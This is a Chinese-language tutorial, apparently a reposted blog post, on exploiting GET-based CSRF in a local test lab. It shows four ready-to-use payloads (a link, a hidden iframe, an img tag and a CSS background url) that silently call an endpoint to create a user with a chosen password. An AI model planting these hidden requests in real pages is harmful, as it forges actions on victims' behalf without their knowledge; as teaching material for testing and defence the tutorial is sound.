【安全】P 5-6 GET型CSRF漏洞利用方法

0X01 链接利用

在html中,a标签代表链接,可以将当前的”焦点” 指引到其他位置。
移动的“焦点”需要发送对应的请求到链接指向的地址,然后返回响应。

<a href = “请求地址,会被http 请求到的位置,可以携带GET型参数”> 内容 </a>
<a href = “http://127.0.0.1/csrf_test/get_csrf/new_user.php?username=liuxiaoyang&password=123456”>请点击我</a>

在这里插入图片描述

0X02 iframe利用

iframe标签内容将在页面加载过程中自动进行加载, src指向的位置就是页面请求的位置
注意:可以设置iframe 的 style -> display:none,以此来不显示iframe加载的内容。

<iframe src=”http://127.0.0.1/csrf_test/get_csrf/new_user.php?username=liuxiaoyang&password=123456” style=”display:none” />

在这里插入图片描述

0X03 img标签利用

img标签的内容会随着页面加载而被请求,以此src指向的位置会在页面加载过程中进行请求。

<img src=”http://127.0.0.1/csrf_test/get_csrf/new_user.php?username=liuxiaoyang&password=123456” />

在这里插入图片描述

0X04 CSS-backgroud利用

可以利用 CSS中 background样式中的url来加载远程机器上的内容,从而对url中的内容发送HTTP请求
例如:

body
  {
  background: #00FF00 url(bgimage.gif) no-repeat fixed top;
  }

可以利用 CSS中 background样式中的url来加载远程机器上的内容,从而对url中的内容发送HTTP请求
例如:

body
  {
  background: #00FF00 url(“http://127.0.0.1/csrf_test/get_csrf/new_user.php?username=liuxiaoyang&password=123456”) no-repeat fixed top;
  }

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/Z_David_Z/article/details/114001647
5-6